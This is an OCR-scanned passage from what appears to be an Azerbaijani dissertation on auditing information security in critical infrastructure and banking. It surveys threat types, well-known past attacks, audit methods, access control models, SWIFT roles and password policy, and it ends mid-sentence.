moOhkom tohllkasizlik todbirlori hoyata kegirir, risk giymoatlondirmolori aparir,
fovgolado hallara cavab planlart  hazirlayir, kibertohlikasizlik protokollarini
tokmillosdirir vo davamli infrastruktur dizaynina sarmays goyur.
Kritik infrastruktur dedikds, enerji, su, nagliyyat, telekommunikasiya, sahiyys va
maliyya kimi sektorlar da daxil olmaqgla, comiyyatin foaliyyati tiglin hayati shomiyyat
kasb edan sistemlar va aktivlor nazards tutulur. Bu infrastrukturlar getdikca ragomsal
texnologiyalardan asilidir vo onlari kibertohliikasizlik tohdidlarine qarsi hossas edir.
Asagida tohdidlor vo onlarin faaliyyati ii¢lin aktiv sorait yaradan bosluglar
gostorilmisdir:

Qabaqcill Davamh Tahdidlar (APTs, Advanced Persistent Threat): APT-lor
kritik infrastruktur sobokoalorina uzunmiddatli vo gizli infiltrasiyan1 ohato edon
yiksak saviyyali vo hadoflonmis kiberhiicumlardir. Bu hiicumlar adaton milli
dovlatlor vo ya cinayat toskilatlar: torafindon hayata kegirilir vo oshamiyyatli zarar
vers bilir.

Insider Tohdidlar: Kritik infrastruktur sistemlorino icazeli girisi olan
insayderlar shamiyyatli kibertahlikasizlik riski yarada bilor. Bu soxslar, ister zararli,
istorsa do gosdon, zoaifliklordon istifads etmok, hassas molumatlart ogurlamaq vo ya
amoaliyyatlar1 pozmaq iiglin 6z imtiyazlarindan sui-istifads eds bilor.

Kohna sistemlarda bosluglar: Bir ¢ox kritik infrastruktur sistemlari halo do

kohnalmis vo  dostoklonmayan  texnologiyalardan istifado edorok  onlari
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kiberhiicumlara qars1 hoassas edir. Bu kohno sistemlords tez-tez lazimi tohlikasizlik
nozarati vo yenilomolori yoxdur, bu da onlar1 hakerlor Ugiin asan hadofo gevirir.

Qarsihqh baghhq vo asiihiq: Kritik infrastruktur sektorlari bir-birino baglidir
Vo bir-birindon asilidir. Bir sektora edilon hlicum, digar sektorlara ardicil tasir gostara
bilor. Sistemlorin artan olagesi va inteqrasiyasi zoifliklor yaradir, ¢linki bir pozuntu
potensial olaraq bir cox sektoru tahliiks altina sala bilor.

Uclincli Taraf Risklari: Kritik infrastruktur toskilatlari tez-tez muxtolif
xidmatlor vo komponentlor tglin gunct torof saticilarina vo tochizatgilarina etibar
edirlor. ©goar bu Uglnci toraflorin glicli kibertohlikasizlik tadbirlari yoxdursa, onlar
hiicumcularin infrastruktura gilizosto getmosi {igiin potensial giris noqtalorino gevrilo
bilorlor,

Resurs Mahdudiyyatlari: Bir ¢ox kritik infrastruktur toskilatlari, xtisusan do
dovlat sektorunda olanlar maliyys, ixtisasl kadrlar vo texnoloji imkanlar baximindan
resurs mohdudiyyatlori ilo Uzlasirlor. Bu moahdudiyyatlor gicliu kibertahlikasizlik
todbirlorinin hayata kegirilmasini va saxlanmasini ¢atinlogdirir.

Informasiya miibadilasinin olmamasi: Kritik infrastruktur sektorlari, dévlet
qurumlar1 vo 0zal togkilatlar arasinda malumat mibadilasi kibertahlikalora effektiv
sokilda qgars1 ¢ixmagq tigilin vacibdir. Bununla bela, maxfilik, masuliyyat va rogabatlo
bagli narahatliglar tez-tez kibertohlikasizliklo bagli molumatlarin paylagilmasini
mohdudlasdirir.

Suratlo Inkisaf edon Tohdid Landsafti: Kibertohliikasizlik tohdidlori daim
inkisaf edir, tocaviizkarlar yeni texnikalar inkisaf etdirir vo ortaya ¢ixan zaifliklordon
istifads edirlor. Kritik infrastruktur toskilatlar1 bu inkisaf edon tahdidlori hall etmak
ucln kibertohlikasizlik strategiyalarini davamli olaraq uygunlasdirmalidirlar.

Geosiyasi Milahizalor: Kritik infrastruktura kiberhiicumlarin shamiyyatli
geosiyasi naticalari ola bilar. Milli dovlatlor strateji Ustunlik aldo etmok va ya rogib
dovlatlorin - amaliyyatlarimi  pozmaq tglin  kritik  infrastrukturu hodofo  ala,
kibertahllkasizlik problemlarina kompleks gat slavs edo bilar.

Yuxarida qeyd olunan problemlorin halli dévlot qurumlari, mithiim infrastruktur

operatorlari, kibertohlikasizlik ekspertlori vo digor maraqli toroflor arasinda
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omokdashigr ohato edon hartorofli vo ¢oxsaxoli yanasma tolob edir. Bu, gicli
tohlikasizlik tadbirlorinin hayata kecirilmasini, mintozom risk giymotlondirmalarinin

aparilmasini, kibertohllikasizlik sahasindo maariflondirmoni ohato edir [28].

Kritik infrastruktur Kiberhiicumlarmma aid bir niimunoalor

Stuxnet (2010): Stuxnet balko do kritik infrastrukturu hadof alan an moshur
kiberhiicumlardan biridir. Bu, Iranin niivo obyektlorini, Xtsuson do uranin
zonginlogdirilmasi sentrifuqalarini hodof alan mirokkab kompditer qurdu idi. Stuxnet
sentrifuqalarin nasaz islomosina Vo Iranin niive programini pozmasima sobab olaraq
sonaye nozarat sistemlorini (ICS) sabotaj etmok Uglin nazards tutulmusdur. Bu hiicum
Kibersilahlarin fiziki sistemloro vo infrastruktura tosir potensialini niimayis etdirmis
oldu.

Ukrayna Elektrik Sabakasina Hiicum (2015 va 2016): 2015-ci va 2016-c1 ilin
dekabrinda Ukraynanin bazi bolgalarinds kiberhticumlar sobabindon elektrik enerjisi
kosilib. Hlcumlar 6lkanin elektrik sobokasi infrastrukturunu hodof alaraq bir nego
saat orzindo fasilolora sobab olub. Tacaviizkarlar sonaye idarsetma sistemlaring
nozarati alo kecgirmok Uglin niza-fising e-pogtlari, zararli programlar va uzaqdan giris
alotlorinin birlosmasindon istifado ediblor. Bu hucumlar kritik infrastrukturun
Kibertohllikalora qarsi hassasligini vo oasas xidmotlora potensial tosirini niimayis
etdirdi.

NotPetya (2017): NotPetya, ilk ndvbado Ukraynani hodof alan, lakin tez bir
zamanda qlobal migyasda yayilan vo goxsayli toskilatlara tasir edon ransomware
(fidya) hicumu idi. Hicum miuxtalif sektorlara, o ciimladon limanlar, banklar va
enerji sirkatlori Kimi kritik infrastruktura tesir gostorib. NotPetya genis istifado
olunan miihasibat proqraminda zaiflikdan istifads edarak sistemlari yoluxdurdu. Bu,
shamiyyatli pozuntulara, maliyys itkilarina sobsb oldu vo kiberhiicumlarin bir-biri ilo
alagoali sistemlor arasinda kaskad tasir gostormasi potensialini vurguladi.

TRITON/Trisis (2017): Trisis kimi taninan TRITON zararli proqrami 2017-Ci
ildo Saudiyys Orabistanindaki neft-kimya zavodunu hadofs alib. TRITON tohliikali

vaziyyat yarandiqda omoliyyatlarin avtomatik dayandirilmasina cavabdeh olan alatli
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tohllkasizlik sistemlorini  (SIS) manipulyasiya etmok dglin noazards tutulub.
Tocavlzkarlar SIS-o mudaxilo etmoklo fiziki zoror vo ya folakatli sonaye gozalar
tOratmoays ¢alisirdilar. Hiicum kiberhiicumlarin sanaye tohlikasizlik sistemlarina tasir
gOstars bilacayi ilo bagli narahatliglar: artirib.

Colonial Pipeline ransomware hicumu (2021): May ayinda ABS-da osas
yanacaq kamoari olan Colonial Pipeline ransomware hiicumunun qurbani oldu. Hiicum
boru kamoarinin dayanmasina soabab olub, mixtalif bolgslords yanacaq qithgina vo
giymot artimlarma sabab olub. DarkSide ransomware grupu hiicuma gora masuliyyat
dasiyir. O, kritik enerji infrastrukturunun kibertohllkalora qarst hossasligini vo
iqtisadiyyata vo comiyyato potensial tosirini vurguladi.

Yuxarida geyd olunan niimunalor kiberhiicumlarin kritik infrastruktura shomiyyatli
tosirini  gostorir vo bu clr sistemlori qorumaqg Ucln gucli kibertohlikasizlik
todbirlorinin vacibliyini vurgulayir [29].

Kritik infrastrukturun tohliikasizliyinin idars edilmosi bir nego soviyyoyo malikdir.
Bunlara texniki, funksional (toskilati, omoliyyat), taktiki, strateji vo siyasi soviyyalor
aiddir. Tohliikasizlik sobabindon biitiin saviyyslor bir-birina baglanmali vo yaxsi
tomin edilmolidir. Tarixi tocriibslor gostorir ki, texniki miistovido mohkomlik vo
imkanlar sadaco olaraq kritik soraitds kritik infrastrukturun tohliikasizliyini tomin
etmir, eyni zamanda sakinlorin miihafizosi vo sag qalmasi ii¢iin osas amillordon biri

rolunu oynayair.

1.3 Kritik informasiya infrastrukturunda auditinin taskili metodlar:

Kritik infrastrukturun auditi enerji, naqliyyat, telekommunikasiya va su tachizati kimi
Olkonin foaliyyeti iiclin hoyati shomiyyot kosb edon osas sistemlorin vo aktivlorin
tohliikasizliyinin, dayanigliginin va iimumi effektivliyinin qiymotlondirilmasini shato
edir. Xiisusi kritik infrastrukturun auditi har bir sektorda otrafl1 bilik va tocriibs tolob
edir. Kritik infrastrukturun auditi zamani1 nozora alinmali olan bozi asas aspektlor
bunlardir [4]:

Kritik aktivlorin miioyyon edilmasi: Bura yoxlanilan infrastruktur sektorunun

faaliyyati ii¢lin vacib olan asas sistemlarin, qurgularin va aktivlorin miisyyon edilmasi



22

daxildir. Bunlara elektrik stansiyalari, yarimstansiyalar, boru komorlori, noqliyyat
qovsaqlari, molumat markozlori, rabito sobokalori va s. daxildir.

Bosluglarin qiymatlondirilmosi: Bura infrastrukturda potensial bosluglari vo zoif
toroflori  miioyyon etmok daxildir. Bu, fiziki tohliikesizlik todbirlorinin,
kibertohliikasizlik tocriibalorinin, girigo nozarstin, monitoring sistemlorinin  va
potensial ugursuzluq vo ya pozulma noqtalorinin qiymotlondirilmasini shato edir.
Risklarin idars edilmasinin qiymatlondirilmasi: Buraya risk qiymotlondirmolorinin,
insidentlora cavab planlarinin, févgolade hallar protokollarinin vo potensial risklorin
miuoyyan edilmosi, tohlili vo azaldilmasi doracosinin aragdirilmasi daxildir.
Qaydalara uygunluq: Burada kritik infrastrukturun miivafiq qaydalara vo sonaye
standartlarina uygun olmasi tomin edilmslidir. Bu, tohliikesizlik ¢ar¢ivalaring,
hokumot tolimatlarina vo sektora aid gaydalara uygunlugun nozordon kegirilmosini
ohata eda bilar.

Kibertahliikasizlik Auditi: Bura kritik sistemlorin icazosiz girisdon, molumatlarin
pozulmasindan va kiberhiicumlardan qorumagq ti¢lin mdvcud olan kibertohliikasizlik
todbirlorinin  qiymotlondirilmasi daxildir. Bura homginin soboka tohliikasizliyinin
qiymatlondirilmasi, molumatlarin qorunmasi mexanizmlori, sifrolomo protokollari,
is¢ilorin molumatlandirilmasi va tolim proqramlart daxildir.

Fiziki Tohliikasizlik Auditi: Burada giris nozaroti, miisahido sistemlori, miidaxilonin
askarlanmasi vo perimetr tohliikosizliyi kimi fiziki tohliikesizlik todbirlorininin
qiymatlondirilmasi noazorde tutulur. Bu qiymatlondirme kritik infrastruktur
aktivlorinin fiziki tohdidlordon, toxribatdan vo ya icazssiz girisdon qorunmasina

yonalib.

Sinaq va Simulyasiya: Burada zoif toraflori miioyyan etmok va kritik infrastrukturun
dayanigligin1 yoxlamagq tigiin niifuz testi, zaifliyin qiymatlondirilmasi vo simulyasiya
tolimlorinin kecirilmosi nozordo tutulur. Bu, tobii folakotlor, kiberhiicumlar vo ya
tochizat zoncirinin pozulmasi kimi miixtolif ssenarilorin simulyasiyasin1 ohato eds
bilor.

Insidentlora Cavab Hazirh@i: Bura hadisoloro cavab planlarmin hazirhg vo
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effektivliyinin qiymotlondirilmosi daxildir. Bu rabito strategiyalari, miivafiq
organlarla koordinasiya vo barpa prosedurlar1 da daxil olmagla insidentlorinin idaro
edilmosi vo barpasi tiglin movcud protokollarin nozordon kegirilmosidir.

Davamh Monitorinq: Bu kritik infrastrukturun davamli monitoringi {i¢iin
sistemlorin qiymatlondirilmasidir. Buraya real vaxt rejiminde monitorinqin hoyata
kecirilmoasi, potensial risklori vo ya anomaliyalar1 miioyyon etmok iigiin tohliikosizlik
analitikasinin hoyata kecirilmosi daxildir.

Sonadlasdirma va Hesabat: Bu audit naticoloring asason tapintilarin, tovsiyalorin vo
diizolis planlarinin sonoadlosdirilmosidir. Bura yoxlanilan kritik infrastrukturun giicli,
vo zoif toroflori vo toklif olunan tokmillosdirmolor {i¢lin hortorofli hesabatin
hazirlanmasi daxildir.

Qeyd etmok vacibdir ki, kritik infrastrukturun auditi yoxlanilan xiisusi sektorda
xuisusi bilik va tocriiba talob edir. Togkilatlar vo dovlet qurumlar tez-tez bu auditlori
effektiv sokildo hoyata keg¢irmok {iglin kritik infrastrukturun tohliikesizliyi vo
dayaniqlilig1 sahasinda tocriibaya malik ekspertlori vo maslohatgilari calb edirlar [16].
Toqdim olunan dissertasiya isindo kritik informasiya infrastrukturun vacib
sektorlarindan biri olan maliyys xidmotlori sektorunu ohato edon bank sisteminin
kiberohliikasizliyinin artirilmasi tigiin auditin togkili mosalolorine baxilmasi qarsiya

magsad kimi qoyulmusdur.
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IT FOSIL. BANK INFRASTRUKTURUNDA INFORMASIYA
TOHLUKOSIZLiYi AUDITININ TOSKILI METODU VO TODBIRLORI

2.1. Girisa nazarat mexanizmlari va saxsiyyot girisinin idars edilmasi

Girisa nazaratin maqgsadi va asas aspektlari

Kritik informasiya infrastrukturunda giris nazarati resurslarin, sistemlarin vo ya

fiziki saholorin daxil olmasimi vo Yya istifadasini tonzimlomak vo idaro etmok
prosesina aiddir. Bu, mioayyan resurslara vo ya oarazilora kimin, hansi sartlor vo ya
mohdudiyyatlor altinda daxil olmaq salahiyyatinin oldugunu miioyyan etmayi ohato
edir. Giriso noazaratin  asas mogsadi bank va diger kritik informasiya
infrastrukturlarinda hossas molumatlari qorumaq, moxfiliyi gorumag, icazesiz girisin
qarsisini almaq va sistemin dmumi tohltikasizliyini tamin etmokdir [13].
Kritik informasiya infrastrukturlarinda girigo nozarot kompdter sistemloring,
sobakalara, verilonlora va resurslara girisi idara etmok vo tonzimlomok tciin hoyata
kecirilon tadbirloro vo mexanizmlora aiddir. Bu, hassas molumatlarin qorunmasini,
icazasiz girisin qarsisinin alinmasini va Kritik infrastrukturun mumi tahlikasizliyini
va bitovIllylinl tamin etmayi ohats edir. Kritik informasiya infrastrukturlarinda giriso
nazaratin bazi osas aspektlori bunlardir [24]:

Istifadocinin Autentifikasiyasi: Istifadocinin autentifikasiyas1 bankin IT
sistemlarina daxil olmaga cohd edan soxslorin saxsiyyatinin yoxlanilmasi prosesidir.
Bu, istifadagi adi-parol kombinasiyasi, biometrik autentifikasiya (barmaq izi vo ya Uz
tamima kimi), smart kartlar vo ya iki faktorlu autentifikasiya (2FA, ing. 2 Factor
Authentication) tisullarini shats edo bilar.

Avtorizasiya va icazalor: Istifadoci autentifikasiya edildikdon sonra
avtorizasiya homin istifadaciys verilon giris vo ya icazalorin saviyyasini miayyan
edir. Girigo nazarat siyahilari (ACL, ing. Access Control List) vo ya rol asash giris
nozarati (RBAC, ing. Role Based Access Control) modellori adoton is rollari,
mosuliyyatlar va ya avvalcadon mioyyan edilmis giris siyasatlori aSasinda istifadagi

icazalorini tayin etmok vo idars etmok tgtin istifads olunur.
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Giriso Nozarat Siyasatlori: Giriso nozarot siyasotlori  informasiya
texnologiyalari resurslarina girisin verilmasi vo ya rodd edilmasi Ug¢lin gayda va
tolimatlar1 miiayyon edir. Bu siyasatlor adoston tohllkasizlik taloblorina, uygunluq
qaydalarina vo an yaxsi tocriibalora osaslanir. Onlar konkret sistemlora, sobakalors,
verilonlor bazalarma vo ya fayllara kimin vo hansi soraitdo daxil ola bilacayini
muoayyanlosdirirlar.

Audit va Logging: IT girisina nazarat sistemlorine tez-tez daxil olma cohdlorini,
gorulon todbirlari vo sonradan nozordon kegirmok tcgtin hadisalori geyd etmok Ugln
audit vo geyd imkanlari daxildir. Audit qgeydlori tohlikasizlik insidentlarinin
askarlanmasina, pozuntularin aragdirilmasina vo normativ toloblors uygunlugun tomin
edilmasina komak edir.

Tak Giris (SSO, ing. Single Sign On): SSO istifadacilora ayri-ayri girislora
ehtiyac olmadan bir dofo autentifikasiya etmoys Vo ¢oxsayli sistemlora vo Yya
programlara daxil olmaga imkan verir. O, giris nozarotini asanlasdirir vo glcli
autentifikasiya todbirlorinin olmasini tomin edorkon istifadogi tocriibosini artirir.

Imtiyazh Giris Idarsetms (PAM, ing. Privileged Access Management):
Y uksok imtiyazlara malik olan va kritik sistemlara va ya hassas melumatlara daxil ola
bilon inzibati vo ya super istifado¢i hesablar1 kimi imtiyazli hesablarin idara
edilmasina vo tohlikasizliyina diggst yetirir. PAM hallari icazssiz vo ya zororli
foaliyyatlorin garsisin1 almaq {iglin imtiyazli girisi idara etmoys, izlomays vo
yoxlamaga komok edir.

Sabaka Girisino Nozarat (NAC, ing. Network Access Contol): NAC sabakaya
qosulmaga cohd edan cihazlar tgln tohllkasizlik siyasatlorini tothig edon sistemdir.
O, cihazlarin soxsiyyatini vo tohlukasizlik vaziyystini yoxlayir vo muvafiq olaraq
sobokayo girisi verir vo ya mohdudlasdirir. NAC hoallorino tez-tez 802.1X
autentifikasiyasi, son noqta tohllikasizlik yoxlamalar1 vo soboka seqmentasiyasi kimi
texnologiyalar daxildir.

Kritik informasiya infrastrukturlarinda etibarli giris nazarati tadbirlarinin hoyata
kecirilmasi hassas molumatlarin qorunmasi, icazosiz girisin vo ya Mmolumatlarin

pozulmasinin qarsisini almaq, qaydalara riayot etmok vo bankin informasiya
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texnologiyalar1 infrastrukturunun tmumi tahlikasizlik voziyyatini gorumag Ucun
vacibdir [24].

Girisa nazarat mexanizmlari

Giriso nozarot mexanizmlori bank torofindon nozorde tutulmus giriso nazarot
siyasatlorini totbiq etmok vo resurslara girisin icazasini vo mohdudlasdirilmasini
tonzimlomok Uglin hoyata kegirilon texnika vo ya sistemlordir. Bozi timumi giris
noazarat mexanizmlorine asagidakilar daxildir [33]:

Rol asash giris nazarati (RBAC): IstifadagGiloro giris imtiyazlarini miioyyan
edon xususi rollar tayin olunur. Girig fardi icazalora deyil, istifadacinin roluna asason
verilir. Bank vo maliyys yoniimlii kritik informasiya infrastrukturlarinda bu noazarot
mexanizmlori SWIFT kimi beynolxalg 6donis sistemlorindo, miistori molumatlari
bazasinin idars edilmasi programlarinda istifads edilir.

Ixtiyari giris noazarati (DAC, ing. Discretionary Access Control): Giriso
nozarot fordi istifadogilor vo ya qruplar iiclin giris icazolorini toyin edon resurs
sahibinin milahizesine osaslanir. Bankin IT sistemindo fayllar, verilonlor bazas1 va
programlar kimi mixtoalif resurslarin giris icazoalori Uzorindo noazarsti olan tayin
edilmis sahiblari var. Bu sahiblor adston sistem administratorlari, menecerlor vo ya
resursa cavabdeh olan toyin edilmis iscilordir. Ixtiyari giris nozaratindon istifads edon
Bank kritik sistemloring giris hadisalorini va giris icazalorine doyisikliklori izlomoak
Uclin audit vo monitoring imkanlar1 daxildir.

Macburi giris nazarati (MAC, ing. Mandatory Access Control): Ovvalcadon
muayyan edilmis tohllkasizlik siyasatlori vo gaydalar1 asasinda giriso nazarati hoyata
kecirmak Gcin bank infrastrukturu sistemlorinds istifado olunur. Macbur giris
nozaroti modelindo giris qorarlart resurs sahibi deyil, sistem vo ya tohlukasizlik
inzibatgis1 tarafindon miayyan edilir.

Atribut asash giris nazarati (ABAC, ing. Attribute Based Access Control):
Giriso noazarot qorarlar istifadogi, resurs vo otraf muhitlo olagoli atributlar toplusu
asasinda qobul edilir. Bu atributlar girisi miioyyon etmok iigiin bir sira gaydalar

asasinda giymatlondirilir,
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Biometrik giriso nazarat: Bu mexanizm soxslorin soxsiyyatini yoxlamaq vo
giris icazasi vermok Ugun barmaq izlori, iris skanlari vo ya Sosin tanimmmast kimi
fizioloji vo ya davranis xiisusiyyatlorindan istifado edir.

Bu mexanizmlar effektiv giris nozaratini tomin etmoak ii¢iin bankin va digor maliyya
yonuimlu kritik informasiya infrastrukturunun xdsusi taloblari asasinda birlasdirila va
ya fordilasdirils bilar [33].

SWIFT sisteminda girisa nazarat qaydalari

SWIFT tohlikasiz rabita va transsarhad Gdanislorin hesablanmasi {igiin biitiin
diinyada banklar va maliyys institutlar1 tarafindan istifads edilon standart mesajlagsma
sistemini tomin edir. SWIFT 0Odanislorinds giriso nozarat SWIFT sobokasi vasitasilo
hoyata kecirilon maliyya omoliyyatlarinin tohlikasizliyini vo bitévliyuni tomin
etmok Ugtin vacibdir. Kritik infrastrukturlarda hayata kegirilon SWIFT Odanislorinda
giris nozaratinin istifadogi hiiquqlart va rollari, tohllkasiz rabito kanallari, tohlikasiz
mesajlasma dogrulama proqrami, hiicumun askarlanmasi vo monitoringi, audit va
uygunluq kimi osas aspektlori vardir. SWIFT Odonislorinds giriso nozarat icazasiz
girisdon, saxta  foaliyyastlordon vo  maliyya  omoliyyatlarinin  icazasSiz
modifikasiyalarindan qorunmaq tg¢iin {imumi tahlUkasizlik c¢argivasinin mihim
komponentidir. Giiclii giris nozarati todbirlorini hoyata kecirmoklo, SWIFT global
maliyys mesajlasma sobokasinin etibarini, maxfiliyini vo biitovlilylinii qorumaga
kdmak edir.

SWIFT 0donis sistemi kontekstindo, mixtalif istifadog¢i rollar1 {igiin giris
imtiyazlarini va icazalorini milayyan etmak ii¢iin Rol Osasli Giris Nozarati (RBAC)
gaydalan istifado edilo bilor. RBAC qaydalarinin SWIFT 6donis sistemindo neco
tatbiq oluna bilacayina dair bir nimunalor:

e Odonis Tasobbiiscusii: Odonis talimatlarina baslamagq, danis mesajlar1 yaratma
Vo gondormo, 0z 0Odonis tarixgesine baxmaq imtiyazlari vardir. Odonis
togobbuscust  olaraq 6donislori  tosdiglomok vo ya buraxmag, sistem

konfiqurasiyalarina daxil olmaq va ya dayisdirmak mimkin deyil.
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e Tosdigloyici: Odonis tolimatlarin1  nozordon kegirmo vo  tosdigloms,
tosdiglonmis 6danislari emal Gglin buraxmad, tasdiglor vo buraxilislar tigiin 6danis
tarixgosino baxmaq kimi imtiyazlari var, lakin Odonisloro baslamaq, 6donis
mesajlarini doyisdirmok mumkin deyil.

e Auditor: Odonis faaliyyatlorino noazarot etmo vo nozordon kegirmo, Odonis
proseslori vo nozarsti Uzro auditlor aparmaq, audit hesabatlar1 vo analitiklor
yaratma imtiyazlar1 vardir. Auditor olaraq 6danislori baslatmag, tosdiglomok vo ya

buraxmaq miimkiin deyil, sistem konfiqurasiyalarini doyisdirmok mimkan deyil.

Bu RBAC qaydalar1 SWIFT 06donis sistemindo muxtalif rollara onlarin
masuliyyatlori vo funksiyalar1 osasinda xiisusi imtiyazlar vo moahdudiyyatlor verilo
bilocoyina dair bir nimuna togdim edir. RBAC icazasiz harokatlorin vo ya kritik
funksiyalara girigsin qarsisini almaqla yanasi, istifadogilorin tapsiriglarini yerino
yetirmak ii¢lin lazimi girigo malik olmasini tomin edir. Daqiq RBAC qaydalar1 va
rollart hor bir toskilat daxilindo SWIFT 6donis sisteminin xiisusi tatbigindon va

toloblorindon asili olaraq doyiso bilor [18].

SWIFT 0donis sisteminda giriso nozarat auditi

Audit, maliyys amoliyyatlarinin biitovliiyiini, tohllkasizliyini vo uygunlugunu
tomin etmok Gcun SWIFT 0donis sisteminin miihiim aspektidir. SWIFT &6donis
sisteminds audit firildaggiliq, sahvlor vo icazasiz foaliyystlorin askarlanmasi va
qarsisinin alinmasi ti¢lin foaliyyatlorin, nazaratlorin vo proseslorin monitoringini vo

tadqigini ohato edir. SWIFT 0danis sistemindo auditin asas aspektlori bunlardir [35]:

e Tranzaksiyalarin monitoringi: Audit SWIFT 6danis sistemi daxilindo amaliyyat
faaliyyatlorinin monitoringini va tohlilini shato edir. Bu, geyri-adi amaliyyat
nimunoalari va ya yiksak riskli faaliyyatlor kimi hor hansi siibhali vo ya anomal
davranigi miioyyan etmok iiglin mesaj axinlarini, amoaliyyat jurnallarini1 va oslagali
molumatlar1 nazardan kegirmokdan ibaratdir.

e Giris Qeydlori vo Istifadogi Foaliyyati: Audit istifadaci horokatlorini, daxil

olmaq cahdlorini vo sistem qarsiliqlt alagesini izlomok tigiin giris geydlorini vo
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istifadoci foaliyyati geydlorini tutmaq ve nozardon kecgirmokdon ibaratdir. Bu,
icazosiz giris cohdlorini, potensial tohliikasizlik pozuntularini vo ya siibhali
istifadogi davranisini miioyyan etmoya komok edir.

o Vozifolorin Ayrilmasi: Audit SWIFT 6donis sistemindoa vazifolorin muvafiq
seqreqasiyasinin olmasimni tomin edir. Bu o demokdir ki, icazasiz faaliyyatlorin vo
sOvdologsmoalorin garsisini almaq tiglin 6donislorin baslanmasi, tosdiglonmasi vo
sorbast buraxilmasi kimi miihiim funksiyalar ayri-ayri soxslor vo ya rollar
torofindon yerino yetirilir.

e Uygunluq vo Tonzimlomo Auditlori: SWIFT 0danis sisteminda audit muvafiq
gaydalara va sonaye standartlarmna uygunlugu tomin etmok Ugln miintazom
auditlorin aparilmasini nazords tutur. Buraya molumatlarin qorunmasi, ¢irkli
pullarin yuyulmasina gqarsi miibarizo Vo miistorini tanima toloblorino riayat
olunmasinin giymatlondirilmasi daxil ola bilar.

e Konfiqurasiya vo Tohlikoasizlik Auditlori: Audit sistem konfiqurasiyalarini,
tohllikasizlik noazaratlorini vo onlarin effektivliyini vo an yaxsi tacribalora
uygunlugunu giymatlondirmok tg¢ln siyasatlorin nozardon kecirilmasini ohatos edir.
Bu, zoifliklori mioyyan etmok vo diizgiin konfiqurasiyalart tomin etmok gln
sifroloma, autentifikasiya, giris nozarati va digar tohliikasizlik tadbirlari ilo bagh
parametrlorin arasdirilmasini ohats edir.

e Hesabat vo Sonodlosdirmoa: Audit tapintilari, miisahidolori vo tovsiyalori
sonadlosdiran hortorofli audit hesabatlarinin  yaradilmasin1 ohato edir. Bu
hesabatlar rohborliyin nozardon kegirilmosi, uygunluq moqgsadlori vo SWIFT
Odonis sistemindo nozarot vo proseslorin davamli tokmillogdirilmasi Uglin ¢ox

vacibdir.

SWIFT Odonis sistemindo audit maliyya omaliyyatlarinin tohlikasizliyini,
etibarmi vo etibarliligini qorumaga komok edon davamli bir prosesdir. O, risklari
miayyan etmays Vo azaltmaga, uygunlugu tomin etmoays Vo Odonis sistemindo

nozarst Vo tominatlarin timumi effektivliyini artirmaga komok edir [35].
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Kritik informasiya infrastrukturunda istifadaci va parol siyasati

Kritik infrastrukturlarda parol siyasatlori hassas sistemlorin vo molumatlarin
tohlukasizliyinin vo biitovlilyliniin girigo nozarat sistemlori vo mexanizmlori vasitasilo
tomin edilmasinds miihiim rol oynayir. Bu siyasatlor infrastruktur daxilinds parollarin
yaradilmasi, idars edilmasi va istifadasi qaydalar1 va talablorini miayyan edir. Kritik
infrastrukturlarda parol siyasatlori tcln bazi asas mulahizslor asagidakilardir [27]:

Parolun Murakkabliyi: Parollar mirokkab olmalidir, boyiik va Kigik harflorin,
ragamlarin vo xiisusi simvollarin birlogsmasini ehtiva etmoalidir. Siyasat minimum
uzunlug talob etmali vo mumi vo ya asanligla toxmin edilon parollarin istifadasini
mohdudlasdirmalidir.

Daimi Sifra Yenilomalari: MUintazom parol yenilomoalari etimadnamays moruz
qalma riskini azaltmaga komok edir. Siyasat parolun bitmas intervallarini tatbiq etmoli
Vo istifadagilori miisyyon edilmis intervallarla parollarini doyismoya dovat etmalidir.

Parol Tarixgasi va Yenidon istifads: Parolun tokrar istifadesinin qarsisini
almag Ucun siyasot istifadacgilorin  mioyyon edilmis miiddot orzinds ovvalki
parollarindan tokrar istifado etmoalorini qadagan edorak parol tarixgasini saxlamalidir.
Bu, ogurlanmis parollarin tokrar istifads edilo bilmayacayini tamin edir.

Cox Faktorlu Dogrulama (MFA, ing. Multi Factor Authentication): Parollarla
yanast MFA-nin totbiqi olave tohlikasizlik gatin1 olave edir. Kritik infrastrukturlar
biometrik molumatlar, tohltikasizlik tokenlari vo ya mobil cihaz yoxlanist kimi alave
autentifikasiya amillorinin, xtisusan do imtiyazli hesablar vo ya hossas sistemlora giris
ucln talob edilmasini nozors almalidir.

Hesabin Kkilidlonmasi va parol cahdlari: Mioyyon sayda ugursuz parol
cohdindon sonra hesabin bloklanmasi siyasatlorinin hayata kecirilmasi kobud giic
hiicumlarinin garsisini almaga komok edir. Siyasat hesabi yenidon aktivlesdirmozdan
avval icazo verilon cohdlorin sayini vo bloklamalarin miiddstini miosyyan etmalidir.

Istifadagilorin  molumatlandirilmast  vo talimi: Istifadogilori parollarin
paylasilmasindan qaginmagq, miixtalif hesablar Gictin unikal parollardan istifads etmoak

Vo fising cohdlorini tanimaq kimi parol tohlikasizliyinin on yaxsi1 tocriibslori
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hagqinda maariflondirmok c¢ox vacibdir. Daimi talim vo molumatlandirma
programlar1 yaxsi parol gigiyenasini giiclondirmoys kdmok eds bilor.

Monitoring va Audit: Monitoring ve audit mexanizmlorinin totbiqi
infrastruktura parolla bagli faaliyyatlori izlomays vo tohlil etmoays imkan verir.
Buraya giris parol doyisikliklori, ugursuz giris cohdlori vo potensial tohlikasizlik
insidentlarini vo ya siyasat pozuntularini agskar etmok iigiin siibholi davranis daxildir.

Administrator ve imtiyazlh Hesablar: Administrator vo ya imtiyazli hesablarla
olagoli parollara xususi digget yetirilmolidir. Bu hesablarin vaxtinda giris, sessiya
geydi vo mohdud istifado kimi olava tohliikasizlik tadbirlori ilo unikal vo gcli

parollart olmalidir.

Kritik infrastrukturlarda istifadacilarin talimi vo auditi

Bank va digar maliyyat yonimlu kritik infrastrukturlarda istifadagilorin talimi vo
auditi  informasiya texnologiyalar1  tohllkosizliyinin  gorunmasmin  vacib
komponentloridir. Kritik infrastrukturlarda istifadagi taliminin vo auditinin bazi oasas
aspektlori bunlardir [14]:

Tahltkasizlik  Maariflandirma  Proqramlari:  Kritik  infrastrukturlar
istifadocilori IT tohlikasizliyinin on yaxsi tocriibolori, siyasatlori va prosedurlar
hagqinda maariflondirmok Gglin miintozom tohlukasizlik molumatliligi iizra tolim
programlar1 keg¢irmoalidir. Bura parol tohlikasizliyi, fising molumatliligi, sosial
muhandislik, fiziki tohlikasizlik vo molumatlarin idara edilmasi kimi moévzular
daxildir.

Rol Osash Talim: Istifadacilor kritik infrastruktur daxilinds 6z rollar1 va
ohdoliklori Gglin xdsusi tolim almalidirlar. Bu, onlarin is funksiyalarina uygun
